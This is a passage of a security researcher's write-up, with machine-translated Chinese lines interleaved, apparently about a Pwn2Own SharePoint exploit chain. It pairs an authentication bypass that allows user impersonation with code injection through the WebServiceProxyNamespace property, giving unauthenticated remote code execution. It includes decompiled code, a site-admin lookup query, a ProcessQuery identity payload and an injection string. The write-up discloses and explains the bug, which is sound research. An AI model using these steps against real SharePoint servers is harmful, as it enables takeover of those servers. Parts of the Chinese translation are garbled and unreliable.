此外,站点管理员用户不应是“内置管理员” - Only the “Farm Administrator” need to be the “built-in administrators” of the SharePoint Server
只有“服务器场管理员”需要是 SharePoint Server 的“内置管理员”
That means in the Pwn2Own setup, the “Administrator” account will not be a SharePoint Site Member.
这意味着在 Pwn2Own 设置中,“管理员”帐户将不是 SharePoint 网站成员。
This part of the exploit took me a few days of reading ZDI’s series blog post about SharePoint again and again, until i realized this line:
这部分漏洞利用花了我几天时间一遍又一遍地阅读 ZDI 关于 SharePoint 的系列博客文章,直到我意识到这一行:
This entrypoint /my
didn’t exist in my SharePoint instance. After searching for a while, I’ve found out they (team ZDI) use the Initial Farm Configuration Wizard to setup the SharePoint server instead of configuring it manually (like what i thought/did). While using the Initial Farm Configuration Wizard, many other feature will be enabled, User Profile Service is the service responsible for the entrypoint /my
. This entrypoint has the Read Permission
granted to Authenticated users
, which mean any authenticated users
can access to this site, get user list and admin username.
我的 SharePoint 实例中不存在此入口点 /my
。搜索了一段时间后,我发现他们(ZDI 团队)使用初始场配置向导来设置 SharePoint 服务器,而不是手动配置它(就像我想/所做的那样)。使用初始服务器场配置向导时,将启用许多其他功能,User Profile Service 是负责入口点 /my
的服务。此入口点 Read Permission
已授予 ,这意味着任何人都可以 authenticated users
访问此站点 Authenticated users
,获取用户列表和管理员用户名。
By using the authentication bypass in My Site
site,
通过在站点中使用 My Site
身份验证绕过,
- At first request, we can first impersonate any users on windows, even local users like
NT AUTHORITY\LOCAL SERVICE
,NT AUTHORITY\SYSTEM
.
在第一次请求时,我们可以首先模拟 Windows 上的任何用户,甚至是像 、NT AUTHORITY\SYSTEM
这样的NT AUTHORITY\LOCAL SERVICE
本地用户。 - After authenticated, get site admin by using ListData service at:
/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true
身份验证后,使用 ListData 服务获取站点管理员,网址为:/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true
Then we can impersonate Site Admin user and perform any further action!
然后,我们可以模拟站点管理员用户并执行任何进一步的操作!
Vulnerability #2: Code Injection in DynamicProxyGenerator.GenerateProxyAssembly()
漏洞 #2:DynamicProxyGenerator.GenerateProxyAssembly() 中的代码注入
As mentioned at the beginning, although we can impersonate as any user, but limited only in SharePoint API. I’ve been searching back old SharePoint vuln but can’t find any vulnerability that reachable via API (or at least i don’t know how at that time). Well, then it took me half of 2022 to read SharePoint API source code and end up with this vulnerability! The code injection vulnerability exists in DynamicProxyGenerator.GenerateProxyAssembly()
method. The relevant portion of the aforesaid method’s implementation is shown below:
如开头所述,虽然我们可以冒充任何用户,但仅限于 SharePoint API。我一直在搜索旧的 SharePoint 漏洞,但找不到任何可通过 API 访问的漏洞(或者至少当时我不知道如何访问)。好吧,然后我花了 2022 年的一半时间才阅读 SharePoint API 源代码并最终出现此漏洞!方法中 DynamicProxyGenerator.GenerateProxyAssembly()
存在代码注入漏洞。上述方法实现的相关部分如下所示:
//Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator
public virtual Assembly GenerateProxyAssembly(DiscoveryClientDocumentCollection serviceDescriptionDocuments, string proxyNamespaceName, string assemblyPathAndName, string protocolName, out string sourceCode)
{
//...
CodeNamespace codeNamespace = new CodeNamespace(proxyNamespaceName); // [17]
//...
CodeCompileUnit codeCompileUnit = new CodeCompileUnit();
codeCompileUnit.Namespaces.Add(codeNamespace); // [18]
codeCompileUnit.ReferencedAssemblies.Add("System.dll");
//...
CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");
StringCollection stringCollection = null;
//...
using (TextWriter textWriter = new StringWriter(new StringBuilder(), CultureInfo.InvariantCulture))
{
CodeGeneratorOptions codeGeneratorOptions = new CodeGeneratorOptions();
codeDomProvider.GenerateCodeFromCompileUnit(codeCompileUnit, textWriter, codeGeneratorOptions);
textWriter.Flush();
sourceCode = textWriter.ToString(); // [19]
}
CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromDom(compilerParameters, new CodeCompileUnit[] { codeCompileUnit }); // [20]
//...
}
The main logic of this method is to generate an Assembly
with the proxyNameSpace
. At [17], an instance of CodeNamespace
is initialized using the proxyNamespaceName
parameter. This CodeNamespace
instance is then added to codeCompileUnit.Namespaces
at [18]. After that, at [19], codeDomProvider.GenerateCodeFromCompileUnit()
will generate the source code using the aforesaid codeCompileUnit
which included our proxyNamespaceName
, storing the source code in the variable sourceCode
.
此方法的主要逻辑是生成一个 Assembly
带有 proxyNameSpace
.在 [17] 处,使用参数 proxyNamespaceName
初始化 的 CodeNamespace
实例。然后将此 CodeNamespace
实例添加到 [18] codeCompileUnit.Namespaces
处。之后,在 [19] 处,将使用上述 codeCompileUnit
包括我们的 proxyNamespaceName
, codeDomProvider.GenerateCodeFromCompileUnit()
将源代码存储在变量 sourceCode
中。
It was discovered that no validation is done for the proxyNamespaceName
parameter. Consequently, by supplying malicious input as the proxyNamespaceName
parameter, arbitrary contents can be injected into the code to be compiled for the Assembly
to be generated at [20].
已发现未对 proxyNamespaceName
参数进行验证。因此,通过提供恶意输入作为 proxyNamespaceName
参数,可以将任意内容注入到要编译的代码中,以便在 Assembly
[20]处生成。
For example: 例如:
- If
proxyNamespaceName
isFoo
, then the generated code is:
如果proxyNamespaceName
是Foo
,则生成的代码为:
namespace Foo{}
- But if a malicious input such as
Hacked{} namespace Foo
is supplied for theproxyNamespaceName
parameter, the following code is generated and compiled:
但是,如果为proxyNamespaceName
参数提供了恶意输入,Hacked{} namespace Foo
则会生成并编译以下代码:
namespace Hacked{
//Malicious code
}
namespace Foo{}
The DynamicProxyGenerator.GenerateProxyAssembly()
method is invoked via reflection in WebServiceSystemUtility.GenerateProxyAssembly()
:
该 DynamicProxyGenerator.GenerateProxyAssembly()
方法通过以下中的 WebServiceSystemUtility.GenerateProxyAssembly()
反射调用:
[PermissionSet(SecurityAction.Assert, Name = "FullTrust")]
public virtual ProxyGenerationResult GenerateProxyAssembly(ILobSystemStruct lobSystemStruct, INamedPropertyDictionary lobSystemProperties)
{
AppDomain appDomain = AppDomain.CreateDomain(lobSystemStruct.Name, new Evidence(new object[]
{
new Zone(SecurityZone.MyComputer)
}, new object[0]), setupInformation, permissionSet, new StrongName[0]);
object dynamicProxyGenerator = null;
SPSecurity.RunWithElevatedPrivileges(delegate
{
dynamicProxyGenerator = appDomain.CreateInstanceAndUnwrap(this.GetType().Assembly.FullName, "Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator", false, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, null, null, null, null); // [21]
});
Uri uri = WebServiceSystemPropertyParser.GetUri(lobSystemProperties, "WsdlFetchUrl");
string webServiceProxyNamespace = WebServiceSystemPropertyParser.GetWebServiceProxyNamespace(lobSystemProperties); // [22]
string webServiceProxyProtocol = WebServiceSystemPropertyParser.GetWebServiceProxyProtocol(lobSystemProperties);
WebProxy webProxy = WebServiceSystemPropertyParser.GetWebProxy(lobSystemProperties);
object[] array = null;
try
{
array = (object[])dynamicProxyGenerator.GetType().GetMethod("GenerateProxyAssemblyInfo", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic).Invoke(dynamicProxyGenerator, new object[] { uri, webServiceProxyNamespace, webServiceProxyProtocol, webProxy, null, httpAuthenticationMode, text, text2 }); // [23]
}
//...
The reflection calls can be found at [21] and [23].
At [22], notice that the proxyNamespaceName
is retrieved from method WebServiceSystemPropertyParser.GetWebServiceProxyNamespace()
, which retrieves the WebServiceProxyNamespace
property of the current LobSystem
:
internal static string GetWebServiceProxyNamespace(INamedPropertyDictionary lobSystemProperties)
{
//...
string text = lobSystemProperties["WebServiceProxyNamespace"] as string;
if (!string.IsNullOrEmpty(text))
{
return text.Trim();
}
//...
}
To reach the WebServiceSystemUtility.GenerateProxyAssembly()
method, it was discovered that the Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute()
method could be used. As explained later on, this Entity.Execute()
method can also be used to load the generated Assembly
and instantiate a Type
within the generated Assembly
, thereby allowing for remote code execution.
The relevant code of the Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute()
method is shown below:
...
[ClientCallableMethod] // [24]
...
internal MethodExecutionResult Execute([ClientCallableConstraint(FixedId = "1", Type = ClientCallableConstraintType.NotNull)] [ClientCallableConstraint(FixedId = "2", Type = ClientCallableConstraintType.NotEmpty)] string methodInstanceName, [ClientCallableConstraint(FixedId = "3", Type = ClientCallableConstraintType.NotNull)] LobSystemInstance lobSystemInstance, object[] inputParams) // [25]
{
if (((ILobSystemInstance)lobSystemInstance).GetLobSystem().SystemType == SystemType.DotNetAssembly) // [26]
{
throw new InvalidOperationException("ClientCall execute for DotNetAssembly lobSystem is not allowed.");
}
//...
this.m_entity.Execute(methodInstance, lobSystemInstance, ref array); // [27]
}
At [24], since the method has the [ClientCallableMethod]
attribute, the method is accessible via SharePoint REST APIs. There is a check at [26] to ensure that the SystemType
of the LobSystem
is not be equals to SystemType.DotNetAssembly
before calling this.m_entity.Execute()
at [27].
However, there is a small hurdle at this point – at [25], how does one obtain a valid reference of LobSystemInstance
and supply it as an argument via REST API? It turns out that using the Client Query feature, it is possible to reference the desired LobSystemInstance
through the use of ObjectIdentity
, which is constructed by BCSObjectFactory
. Essentially, using the Client Query feature allows invoking of any methods with the [ClientCallableMethod]
attribute, and allow supplying of non-trivial arguments like object references.
For example, a request can be made to /_vti_bin/client.svc/ProcessQuery
with the following request body to obtain a reference of the desired LobSystemInstance
:
<Identity Id="17" Name="<random guid>|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:jHRORCVc,jHRORCVc" />
The static values used in the above payload are explained below:
4da630b6-36c5-4f55-8e01-5cd40e96104d
refers to the type ID used byBCSObjectFactory.GetObjectById()
.lsifile
will return theLobSystemInstance
fromBDCMetaCatalog
file
BDCMetaCatalog
refers to the Business Data Connectivity Metadata (BDCM) catalog, and LobSystem
and Entity
objects are stored within the BDCM catalog. The data of BDCM catalog can either be stored in the database or in a file located at /BusinessDataMetadataCatalog/BDCMetadata.bdcm
rooted at the SharePoint site URL.
While analyzing BCSObjectFactory.GetObjectById()
, it was discovered that it is possible to construct and obtain a reference of the LobSystem
, LobSystemInstance
and Entity
from a BDCM catalog file.
Luckily, it is possible to write to the BDCM catalog file. This would mean that arbitrary LobSystem
objects can be inserted, and arbitrary Property
objects within the LobSystem
object, such as the WebServiceProxyNamespace
property, can be specified. Consequently, code injection via the WebServiceProxyNamespace
property of the LobSystem
object allows arbitrary code to be injected into the Assembly
generated.
Going back to [27], this.m_entity
can be an instance of Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.DataClass
or Microsoft.SharePoint.BusinessData.MetadataModel.Static.DataClass
. Regardless, both methods will eventually call Microsoft.SharePoint.BusinessData.Runtime.DataClassRuntime.Execute()
.
Subsequently, DataClassRuntime.Execute()
will call DataClassRuntime.ExecuteInternal()
-> ExecuteInternalWithAuthNFailureRetry()
-> WebServiceSystemUtility.ExecuteStatic()
:
public override void ExecuteStatic(IMethodInstance methodInstance, ILobSystemInstance lobSystemInstance, object[] args, IExecutionContext context)
{
//...
if (!this.initialized)
{
this.Initialize(lobSystemInstance); // [28]
}
object obj = lobSystemInstance.CurrentConnection;
bool flag = obj != null;
if (!flag)
{
try
{
obj = this.connectionManager.GetConnection(); // [29]
//...
}
//...
}
//...
}
At [28], WebServiceSystemUtility.Initialize()
will be called:
在 [28] 处, WebServiceSystemUtility.Initialize()
将称为:
protected virtual void Initialize(ILobSystemInstance lobSystemInstance)
{
INamedPropertyDictionary properties = lobSystemInstance.GetProperties();
//...
this.connectionManager = ConnectionManagerFactory.Value.GetConnectionManager(lobSystemInstance); // [30]
//...
}
At [30], ConnectionManagerFactory.Value.GetConnectionManager(lobSystemInstance)
will initialise and return the ConnectionManager
for the current LobSystem
instance. With WebServiceSystemUtility
, this.connectionManager
will be an instance of WebServiceConnectionManager
.
在 [30] 处, ConnectionManagerFactory.Value.GetConnectionManager(lobSystemInstance)
将初始化并返回当前 LobSystem
实例的 ConnectionManager
with WebServiceSystemUtility
将是 this.connectionManager
的实例 WebServiceConnectionManager
。
The relevant code of WebServiceConnectionManager
is shown below:
相关 WebServiceConnectionManager
代码如下图所示:
public override void Initialize(ILobSystemInstance forLobSystemInstance)
{
//...
this.dynamicWebServiceProxyType = this.GetDynamicProxyType(forLobSystemInstance); // [31]
this.loadController = LoadController.GetLoadController(forLobSystemInstance) as LoadController;
}
protected virtual Type GetDynamicProxyType(ILobSystemInstance forLobSystemInstance)
{
Type type = null;
Assembly proxyAssembly = ProxyAssemblyCache.Value.GetProxyAssembly(forLobSystemInstance.GetLobSystem()); // [32]
INamedPropertyDictionary properties = forLobSystemInstance.GetProperties();
//...
}
At [31], WebServiceConnectionManager.Initialize()
calls WebServiceConnectionManager.GetDynamicProxyType()
, which calls ProxyAssemblyCache.GetProxyAssembly()
at [32], to retrieve a Type
within the generated Assembly
and store within this.dynamicWebServiceProxyType
.
在 [31] 处调用 WebServiceConnectionManager.GetDynamicProxyType()
,在 [32] WebServiceConnectionManager.Initialize()
处调用 ProxyAssemblyCache.GetProxyAssembly()
,以检索生成的 Assembly
a Type
并存储在 this.dynamicWebServiceProxyType
中。
At [32], ProxyAssemblyCache.GetProxyAssembly()
will call the ICompositeAssemblyProvider.GetCompositeAssembly()
with a LobSystem
instance as argument. In this context, compositeAssemblyProvider
is an instance of LobSystem
.
在 [32] 处, ProxyAssemblyCache.GetProxyAssembly()
将调用 LobSystem
实例 ICompositeAssemblyProvider.GetCompositeAssembly()
作为参数。在此上下文中, compositeAssemblyProvider
是 的 LobSystem
实例。
CompositeAssembly ICompositeAssemblyProvider.GetCompositeAssembly()
{
CompositeAssembly compositeAssembly;
ISystemProxyGenerator systemProxyGenerator = Activator.CreateInstance(this.SystemUtilityType) as ISystemProxyGenerator; // [33]
proxyGenerationResult = systemProxyGenerator.GenerateProxyAssembly(this, base.GetProperties()); // [34]
//...
}
At [33], an instance of WebServiceSystemUtility
is stored in systemProxyGenerator
, so WebServiceSystemUtility.GenerateProxyAssembly()
is subsequently called at [34]. At this point, since the LobSystem
is initialised using the crafted BDCMetadataCatalog
file, the attacker has control over the properties of the LobSystem
and hence is able to inject arbitrary code within the generated Assembly
!
在 [33] 处 systemProxyGenerator
,一个实例 WebServiceSystemUtility
存储在 中,因此 WebServiceSystemUtility.GenerateProxyAssembly()
随后在 [34] 处调用。此时,由于 是 LobSystem
使用构建 BDCMetadataCatalog
的文件初始化的,攻击者可以控制 的 LobSystem
属性,因此能够在生成的 Assembly
!
After returning from ProxyAssemblyCache.GetProxyAssembly()
at [32] , a Type
within the generated Assembly
will be returned and stored into this.dynamicWebServiceProxyType
. WebServiceConnectionManager.GetConnection()
will be called at [29] after WebServiceSystemUtility.Initialize()
at [28]:
从 ProxyAssemblyCache.GetProxyAssembly()
at [32] 返回后,生成的 Assembly
a Type
将被返回并存储到 this.dynamicWebServiceProxyType
. WebServiceConnectionManager.GetConnection()
将在 [29] 之后 WebServiceSystemUtility.Initialize()
在 [28] 调用:
public override object GetConnection()
{
//...
try
{
httpWebClientProtocol = (HttpWebClientProtocol)Activator.CreateInstance(this.dynamicWebServiceProxyType);
}
//...
}
This method directly creates a new object instance of the type specified in this.dynamicWebServiceProxyType
, which executes the injected (malicious) code earlier on at [18].
此方法直接创建一个 中指定的类型的新对象实例 this.dynamicWebServiceProxyType
,该实例执行前面在 [18] 处注入的(恶意)代码。
Chaining the two bugs together, an unauthenticated attacker is able to achieve remote code execution (RCE) on the target SharePoint server. 😁.
将这两个 bug 链接在一起,未经身份验证的攻击者能够在目标 SharePoint 服务器上实现远程代码执行 (RCE)。😁.
There are many other interesting things which I found out during the process, but the length of the article is too long.
在这个过程中,我还发现了许多其他有趣的事情,但文章的长度太长了。
I will probably combine it in another article later.
我可能会在以后的另一篇文章中将其结合起来。
Thank you for reading!
感谢您的阅读!
Thanks Ngo Wei Lin, Li Jiantao & Poh Jia Hao for reviewing and enriching this nasty blog post. Thanks to ZDI for spending time to review the contents as well.
感谢 Ngo Wei Lin、Li Jiantao 和 Poh Jia Hao 审阅和丰富了这篇令人讨厌的博客文章。也感谢 ZDI 花时间查看内容。